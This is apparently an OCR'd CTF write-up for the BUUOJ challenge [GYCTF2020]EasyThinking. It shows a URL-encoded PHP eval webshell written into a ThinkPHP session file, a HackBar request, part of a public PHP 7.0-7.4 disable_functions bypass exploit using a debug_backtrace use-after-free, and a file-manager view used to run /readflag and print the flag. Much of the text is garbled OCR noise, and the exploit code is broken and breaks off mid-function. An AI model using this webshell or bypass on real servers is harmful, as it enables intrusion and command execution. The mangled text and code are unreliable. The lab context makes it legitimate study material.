key=%3C%3Fphp+%40eval%28%24_POSTHSEY%27a% 27 % oD% 299 3B+ % 3F SR 3E

B 5V AT sessionSCHEIE, REPAT—TF
CMESES Sk @ FIHE P FlSRSremEs. O (B -SDss. © BEE ' PTA| EFRTESe. © aE (o bmth666at

a:2:{s:3:"UID";i:1;5:6:"Record";s:29:",

System Linux 51d75f901b96 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:%
Build Date Oct 25 2019 03:27:12
Configure Command *fconfigure’ '--build=x86_64-linux-musl’ '--with-config-file-path=/usr/local/e

scan-dir=/usr/local/etc/php/conf.d’ '--enable-option-checking=fatal' '--with-1
enable-mbstring' '--enable-mysglnd' *--with-passweord-argon2' *--with-sodiur
sglite=/usr' "--with-sqlite3=fusr’ "--with-curl" "--with-libedit’ '--with-openss|’ -
with-fpm-user=www-data' "--with-fpm-group=www-data' '--disable-cgi’ 'buil

Server API FPM/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path fustflocalfetc/php
Loaded Configuration File (none)

O O=ss Dl DEEE NAE (Qesss QOus OaF B =S @ HackBar @ Max HacKBar

Encryption ~ Encoding ~ SQL - XSS~ Other =

i) Load URL http://63aacd02-ee30-4eda-8b0d-e24e7e1523bf. node3. buuoj.cnfruntime/session/sess_0123456789012345678912345678 . php

W spiit URL
-
[#] Postdata [ Referer [] User Agent [] Cookies Clear All
a=phpinfo();

I ERE B, KIAdisabledisable_function, FESE, #HPHP 7.0-7.4 disable_functions bypass

'E]F mmOr1 Get the backtrace via Exception class. when possible

A 1 contributor

218 lines (188 sloc) 5.88 KB

<2php
PHP 7.8-7.4 disable_functions bypass PoC (*nix only)
Bug: https://bugs.php.net/bug.php?id=76847

debug_backtrace() returns a reference to a variable

that has been destroyed, causing a UAF vulnerability.

H OH H K OH O H K

This exploit should work on all PHP 7.8-7.4 versions


https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

# released as of 38/81/2820.
#
# Author: https://github.com/mm@rl

pwni"uname -a"); "-———-._._____’

function pwn($cmd) {

global %abc, $helper, %backtrace;

class Vuln {
public %$a;
public function __destruct() {
global $backtrace;
unset(%this->a);

$backtrace = (new Exception)->getTrace(); # ;)
if(lisset($backtrace[1]['args'])) { # PHP »>= 7.4

$backtrace = debug_backtrace();

wJ5 bAE, SREBIAT

oFE v +LE CThIEF &FBFE R -
. Bt
1w
~ himi @ disphp.php
57 runtime @ sess_0123456789012345678912345678.php
| session
I home
i zpp
Il config
I extend
Il public
| route
I vendor
I view
= {55
BFF 4T 75
F# disphp.php == fvarfwww/html/runti & mH
& cC @

Jvar/www/html/runtime/session/
B#
2020-08-19 09:41:31

2020-08-19 09:40:54

BIEaRtiAE

FFuname -aplAEAIZEE RTINS, Bl/readflag

Foil

2020-08-19 17:41:31

< iRE
Bt

0644

0644

2020-08-19 17:41:31

© £ 34be28f3-f152-4791-8305-5ed003b06b5b.node3 buuoj.cn/runtime/session/disphp.php

GO meaEea2 | *- )ono .. B ESEsEcol [d@ CSDN - TUFFESE.. 3 B3FEze66 - BEE L ZINU-CTFO) @ CTFESETE-CTFL. @ Oneb

flag{b4e19d39-8a35-4a76-9bb4-69848d889%¢f}

SEFEE:
[BUUOJIE %] [GYCTF]EasyThinking
2 5] %4732 [GYCTF2020]EasyThinking


https://www.cnblogs.com/yesec/p/12571861.html
https://www.jianshu.com/p/6a113254a325
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